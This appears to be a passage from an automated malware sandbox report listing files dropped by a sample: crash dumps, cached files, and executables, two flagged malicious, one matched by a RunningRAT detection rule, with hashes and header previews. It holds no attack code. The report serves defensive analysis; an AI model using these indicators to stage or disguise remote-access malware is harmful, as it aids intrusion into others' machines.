Size (bytes):	65536
Entropy (8bit):	0.923185171504473
Encrypted:	false
SSDEEP:	96:wfFNbsxhnj7afzQXIDcQNc6UkcEUscw3US3B+HbHg/5ksS/YyNlIcIPkMhFSDOyn:e3b60zBNYjE/hzuiF5Z24IO8t
MD5:	F0AA0BFCB93467751D00632007E5999B
SHA1:	83EC6E350784C641B51DAF59DA6110BE8465D932
SHA-256:	080B9367A38EA12E878D5AE2CABFA8C118E931D6FF7F404CDE8944D1830C4E41
SHA-512:	DF1BC73C85C5713EE6A055FC15ADA9C66806D5F366DA1EF5FBE081466A313C74D00A7ED335B3F3E7C0EEEF4E5A366073FCA061CECCD145898B524134521F2D47
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.4.6.6.9.5.4.3.5.4.1.5.7.1.9.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.4.6.6.9.5.4.3.9.7.9.0.6.4.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.1.0.5.e.1.f.2.-.2.9.2.9.-.4.2.6.7.-.a.b.b.0.-.a.6.6.0.8.c.1.1.6.9.c.0.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.e.c.e.1.8.3.4.-.d.7.1.2.-.4.1.8.9.-.9.4.3.c.-.d.8.3.f.e.7.4.6.a.3.b.2.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.X.e.k.S.u.T...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.8.2.4.-.0.0.0.1.-.0.0.1.4.-.7.c.1.c.-.a.6.2.b.e.9.2.9.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.4.3.9.c.9.2.8.8.0.c.1.f.5.b.6.d.4.e.9.0.0.8.e.2.8.1.a.0.6.a.5.c.0.0.0.0.f.f.f.f.!.0.0.0.0.9.9.e.e.3.1.c.d.4.b.0.d.6.a.4.b.6.2.7.7.9.d.a.3.6.e.0.e.e.e.c.d.d.8.0.5.8.9.f.c.!.X.e.k.S.u.T...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.1.3.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD362.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Tue Oct 29 09:59:03 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	145430
Entropy (8bit):	1.7774967696149961
Encrypted:	false
SSDEEP:	768:4hUZh3Jx9IYtVIfQHmn2v3sMsJFfJLVM8wJ:/EuqIHbv8MsJFfJLVM8wJ
MD5:	CB04677561BDCEF17F7B4484C862DB4F
SHA1:	85CAB31832F7D1D922BCB4C729EC55D0E3D54B49
SHA-256:	6438AB196743ED43ACCCF2CE259A9DFF63F5DDAAB30C12F5A05586F189168C90
SHA-512:	B1E2263F89921F2053CF11456BDB79716D158D8F1886C73EAAB506F7EF83D17B1353F6606AFD25532B31C1F6D97E3062829B214A022BE11706A3B1B7938CA0B6
Malicious:	false
Preview:	MDMP..a..... ........ g............D...............X...........0............K..........`.......8...........T............7..............,............ ..............................................................................eJ....... ......GenuineIntel............T.......$.... g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD45D.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6264
Entropy (8bit):	3.7171214775947585
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetbK66SGxY2Il3Meu5aMQUO89bCbgsfnWm:R6l7wVeJK66SGxY2/pDO89bCbgsfnWm
MD5:	F16F7CE1D7433D048E390E09BB444948
SHA1:	4555E5DB76047FAC6E265AEA9487380CB7C2865D
SHA-256:	348B586D0D1601598F5DAC32AC7FCD2CE47162E7563F81B2D6EF653D64EFF88B
SHA-512:	4C89413D693FD4F99136D8E3F202858F6CB7CE09B2141C13BFFE040C5E161F350CA75B469908D66C319858F97F4B68AF1B62C2D89B845E0F16C334E692400A74
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.1.8.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD48D.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4551
Entropy (8bit):	4.452302697276403
Encrypted:	false
SSDEEP:	48:cvIwWl8zs8uJg77aI9s/WpW8VYeYm8M4JENFx+q8YaPg3dd:uIjf8kI7Wu7V6JIMPg3dd
MD5:	79924F21F29EC0A463CB7CB783F882E4
SHA1:	FF30B53E73FC7B54046CEF328C17B6DD58CD2F55
SHA-256:	2B67795A95C244E5D82406D751AB29D01ED2DD1F0E3814443293C6F93D926CB2
SHA-512:	AD4C6728B2E9EA4E8B4F9F4623953382CBFC9723370DC1346A1544859504EBB457F0C01B381B13C404AF9638B8181F6C8D6F0A6DCD3DAF4112FEA58AF47A4C91
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="564541" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD49B.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	81388
Entropy (8bit):	3.087601366047006
Encrypted:	false
SSDEEP:	768:eU1sfPSs4QIvNwzfYAeT8ps21VM63gUqMBhZY/Xid/8YH0npo/:TkSs4/Nwzs8hvMUgU3Bhm/XitL0npo/
MD5:	7D5C7E4C444D432D1EA6B0BAC1EEC4E4
SHA1:	49B47BFA0D498AC5F313F89DC9746F73DAA3D724
SHA-256:	A1B8DC99A7440A66238E5E09768CBEF7FF4381AB5A5908DB88B345093323F102
SHA-512:	9CEF3A1FABD23297D6A547292F598328FD16D462DE4CF2F3F6FF1C5588AA90E5DB44A0415AFF63440EF1AFF06D59387EDA3CB0C8C4E8732EA51AA09E3CD35DA9
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD4EA.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6866353511897088
Encrypted:	false
SSDEEP:	96:TiZYWnPoDJPKYsYhWeH4YEZiEztEi9x4tmzwOrlLwHajCGMKpKI+3v3:2ZDvLakuHajCGMKp9+3v3
MD5:	66CCD8EB5BE964C5EA8BEC9C9E18920F
SHA1:	233C91912BE43C2415E9BDD0B16596B70DAC5F23
SHA-256:	FC987F9A02130C8E5B0444DB94986895D415B4E4BC93B48B76558DBA654C35A9
SHA-512:	2F2AEEFA0232D063631A92A2EC5C9A20C9E304166AB68B5BBBD10E6801583FF0E2CEBCE2C5CCED9215153FF473867EA528F42A3713C9ABBFA57AE3BA68EB4ED6
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\k1[1].rar

Download File

Process:	C:\Users\user\AppData\Local\Temp\XekSuT.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\k2[1].rar

Download File

Process:	C:\Users\user\AppData\Local\Temp\XekSuT.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\k3[1].rar

Download File

Process:	C:\Users\user\AppData\Local\Temp\XekSuT.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\k4[1].rar

Download File

Process:	C:\Users\user\AppData\Local\Temp\XekSuT.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\k5[1].rar

Download File

Process:	C:\Users\user\AppData\Local\Temp\XekSuT.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Temp\1B9B3769.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\XekSuT.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Temp\3B2804ED.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\XekSuT.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Temp\4DBC4E37.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\XekSuT.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Temp\6011859.dll

Download File

Process:	C:\Users\user\Desktop\gE4NVCZDRk.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	26112
Entropy (8bit):	6.077721048640773
Encrypted:	false
SSDEEP:	384:8T9IWqIwt10zr6lXYhCRdkyurLmC2S1xJrQcWrH/RUAMO0MY0holUxHdHq4tKDES:8ht+Izr6pqRrLuS1vzWpaGZHdFYDG
MD5:	DB598538E7A70B73298F6424AE507E02
SHA1:	D06A04FB9CA1BB8DA5974870196AE5C0EADC1FA9
SHA-256:	CC4AB82995B0C0C827E99870948EF6A1371D4D1ED6D167A087C0D5C123D0F15E
SHA-512:	EBEDB94E2BA77836317596557FB447E6ABC78FECFAFCE8DE900D70202994FE829459665E0DEC8813C51039B64A12D08258BC6074324B729994B61E8467F5E3FA
Malicious:	true
Yara Hits:	Rule: MALWARE_Win_RunningRAT, Description: Detects RunningRAT, Source: C:\Users\user\AppData\Local\Temp\6011859.dll, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Joe Sandbox View:	Filename: uHmFQqHIIA.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........d...d...d..#G...d..x...d..{...d..zx...d..{...d..{...d...d...d...d..d..:k...d...B...d...D...d..Rich.d..........PE..L....w.T...........!.....@...$.......N.......P......................................................................pZ.......T..d............................p.......................................................P..$............................text....?.......@.................. ..`.rdata.......P.......D..............@..@.data........`.......P..............@....reloc..d....p.......^..............@..B........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\704A612B.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\XekSuT.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Temp\705B3FD0.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\XekSuT.exe
File Type:	ASCII text
Category:	modified
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Temp\XekSuT.exe

Download File

Process:	C:\Users\user\Desktop\gE4NVCZDRk.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	15872
Entropy (8bit):	7.031113762428177
Encrypted:	false
SSDEEP:	384:7XZQaD7U8iu4YsAa7ZA0UvH2lsRv21yW7GbAxur6+Y9PffPz:1QGPL4vzZq2o9W7GsxBbPr
MD5:	56B2C3810DBA2E939A8BB9FA36D3CF96
SHA1:	99EE31CD4B0D6A4B62779DA36E0EEECDD80589FC
SHA-256:	4354970CCC7CD6BB16318F132C34F6A1B3D5C2EA7FF53E1C9271905527F2DB07
SHA-512:	27812A9A034D7BD2CA73B337AE9E0B6DC79C38CFD1A2C6AC9D125D3CC8FA563C401A40D22155811D5054E5BAA8CF8C8E7E03925F25FA856A9BA9DEA708D15B4E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 97%
Joe Sandbox View:	Filename: ib.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.Malware-gen.17468.9520.exe, Detection: malicious, Browse Filename: 8VB4lVuZk3.exe, Detection: malicious, Browse Filename: biKy3nZEyJ.exe, Detection: malicious, Browse Filename: biKy3nZEyJ.exe, Detection: malicious, Browse Filename: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, Detection: malicious, Browse Filename: a4#Uff09.exe, Detection: malicious, Browse Filename: 1.0.0.2.exe, Detection: malicious, Browse Filename: log1.exe, Detection: malicious, Browse Filename: log2.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......z.I.>.'.>.'.>.'..7\.2.'...(.?.'.>.&.y.'.Q.#.=.'..).?.'.7...6.'.7...?.'.Rich>.'.................PE..L...JG.R.............................`.......0....@.......................................@..................................p...............................o.......................................................................................text.... ..........................`....rdata.......0......................@....data........@......................@....reloc.......P.......(..............@....aspack.. ...`.......,..............`....adata...............>..............@...................................................................................................................................................................................................................................................................................................

C:\Windows\INF\WmiApRpl\WmiApRpl.h

Download File

Process:	C:\Windows\System32\wbem\WMIADAP.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3444
Entropy (8bit):	5.011954215267298
Encrypted:	false
SSDEEP:	48:ADPo+gDMIuK54DeHNg9dqbEzCJGGgGDU3XgLBgaGKFijiVJtVAAF/XRgW:ADw+gDMhK54qHC7aBvGKFijiV7XRgW
MD5:	B133A676D139032A27DE3D9619E70091
SHA1:	1248AA89938A13640252A79113930EDE2F26F1FA
SHA-256:	AE2B6236D3EEB4822835714AE9444E5DCD21BC60F7A909F2962C43BC743C7B15
SHA-512:	C6B99E13D854CE7A6874497473614EE4BD81C490802783DB1349AB851CD80D1DC06DF8C1F6E434ABA873A5BBF6125CC64104709064E19A9DC1C66DCDE3F898F5
Malicious:	false
Preview:	//////////////////////////////////////////////////////////////////////////////////////////////..//..// Copyright (C) 2000 Microsoft Corporation..//..// Module Name:..// WmiApRpl..//..// Abstract:..//..// Include file for object and counters definitions...//..//////////////////////////////////////////////////////////////////////////////////////////////......#define.WMI_Objects.0..#define.HiPerf_Classes.2..#define.HiPerf_Validity.4....#define.MSiSCSI_ConnectionStatistics_00000.6....#define.BytesReceived_00000.8..#define.BytesSent_00000.10..#define.PDUCommandsSent_00000.12..#define.PDUResponsesReceived_00000.14....#define.MSiSCSI_InitiatorInstanceStatistics_00001.16....#define.SessionConnectionTimeoutErrorCount_00001.18..#define.SessionDigestErrorCount_00001.20..#define.SessionFailureCount_00001.22..#define.SessionFormatErrorCount_00001.24....#define.MSiSCSI_InitiatorLoginStatistics_00002.26....#define.LoginAcceptRsps_00002.28..#define.LoginAuthenticateFails_00002.30..#define.LoginAuthFai

C:\Windows\INF\WmiApRpl\WmiApRpl.ini

Download File

Process:	C:\Windows\System32\wbem\WMIADAP.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (405), with CRLF line terminators
Category:	dropped
Size (bytes):	48786
Entropy (8bit):	3.5854495362228453
Encrypted:	false
SSDEEP:	384:esozoNc1+12zG1+b61ubSGMLVrj4+PtC81ZBg4Lg4ung4og4uo91K91zI91K91z2:esozozBg4Lg4ung4og4uWG4MG4o1
MD5:	DF877BEC5C9E3382E94FEA48FEE049AC
SHA1:	1D61436C8A1C057C1B1089EB794D90EE4B0D8FE9
SHA-256:	7F0F3FA64E41A30BACA377B6399F8F7087BC54DA9FCA876BFDC2C2EEECA8454B
SHA-512:	433CB16EBE2292CB60CB8CE71207EBB752295FB73E6D13E215E771EC5FC433EE29577AF28641255810C18078B95F04A9D37734B6F49CB6A6302821E365672205
Malicious:	false
Preview:	.././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././....././....././. .C.o.p.y.r.i.g.h.t. .(.C.). .2.0.0.0. .M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n....././....././. .M.o.d.u.l.e. .N.a.m.e.:....././. .W.m.i.A.p.R.p.l....././....././. .A.b.s.t.r.a.c.t.:....././....././. .D.e.s.c.r.i.b.e.s. .a.l.l. .t.h.e. .c.o.u.n.t.e.r.s. .s.u.p.p.o.r.t.e.d. .v.i.a. .W.M.I. .H.i.-.P.e.r.f.o.r.m.a.n.c.e. .p.r.o.v.i.d.e.r.s....././....././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.............[.i.n.f.o.].....d.r.i.v.e.r.n.a.m.e.=.W.m.i.A.p.R.p.l.....s.y.m.b.o.l.f.i.l.e.=.W.m.i.A.p.R.p.l...h.........[.l.a.n.g.u.a.g.e.s.].....0.0.9.=.E.n.g.l.i.s.h.....0.0.9.=.E.n.g.l.i.s.h.........[.o.b.j.e.c.t.s.].....W.M.I._.O.b.j.e.c.t.s._.0.0.

C:\Windows\SysWOW64\SySyeu.exe

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	61440
Entropy (8bit):	6.199746098562656
Encrypted:	false
SSDEEP:	1536:H9ykYCTdiHQKrFXmw2RQln5IUmDjoX6+:HlMHprF2nRQln5I
MD5:	889B99C52A60DD49227C5E485A016679
SHA1:	8FA889E456AA646A4D0A4349977430CE5FA5E2D7
SHA-256:	6CBE0E1F046B13B29BFA26F8B368281D2DDA7EB9B718651D5856F22CC3E02910
SHA-512:	08933106EAF338DD119C45CBF1F83E723AFF77CC0F8D3FC84E36253B1EB31557A54211D1D5D1CB58958188E32064D451F6C66A24B3963CCCD3DE07299AB90641
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
